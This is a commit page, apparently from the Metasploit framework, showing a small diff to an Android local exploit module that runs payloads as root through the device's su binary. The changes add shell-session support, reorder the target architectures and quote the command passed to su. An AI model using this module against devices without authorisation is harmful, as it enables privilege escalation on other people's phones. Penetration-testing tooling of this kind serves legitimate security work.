Skip to content

Commit

Permalink
add android module to run payloads with su
Browse files Browse the repository at this point in the history
  • Loading branch information
timwr committed May 6, 2018
1 parent 37530f0 commit 19eb867
Showing 1 changed file with 4 additions and 7 deletions.
11 changes: 4 additions & 7 deletions modules/exploits/android/local/su_exec.rb
Expand Up @@ -17,12 +17,12 @@ def initialize(info={})
},
'License' => MSF_LICENSE,
'DisclosureDate' => 'Aug 31 2017',
'SessionTypes' => [ 'meterpreter' ],
'SessionTypes' => [ 'meterpreter', 'shell' ],
'Platform' => [ 'android', 'linux' ],
'Arch' => [ARCH_ARMLE, ARCH_AARCH64, ARCH_X86, ARCH_X64, ARCH_MIPSLE],
'Arch' => [ARCH_AARCH64, ARCH_ARMLE, ARCH_X86, ARCH_X64, ARCH_MIPSLE],
'Targets' => [
['armle', {'Arch' => ARCH_ARMLE}],
['aarch64',{'Arch' => ARCH_AARCH64}],
['armle', {'Arch' => ARCH_ARMLE}],
['x86', {'Arch' => ARCH_X86}],
['x64', {'Arch' => ARCH_X64}],
['mipsle', {'Arch' => ARCH_MIPSLE}]
Expand All @@ -37,9 +37,6 @@ def initialize(info={})
end

def exploit
arch = cmd_exec("getprop ro.product.cpu.abi")
print_status("Arch: #{arch}")

linemax = 4088 - datastore['SU_BINARY'].size
execute_cmdstager({
flavor: :echo,
Expand All @@ -52,7 +49,7 @@ def exploit
end

def execute_command(cmd, opts)
su_cmd = "#{datastore['SU_BINARY']} -c #{cmd}"
su_cmd = "#{datastore['SU_BINARY']} -c '#{cmd}'"
cmd_exec(su_cmd)
end

Expand Down

0 comments on commit 19eb867

Please sign in to comment.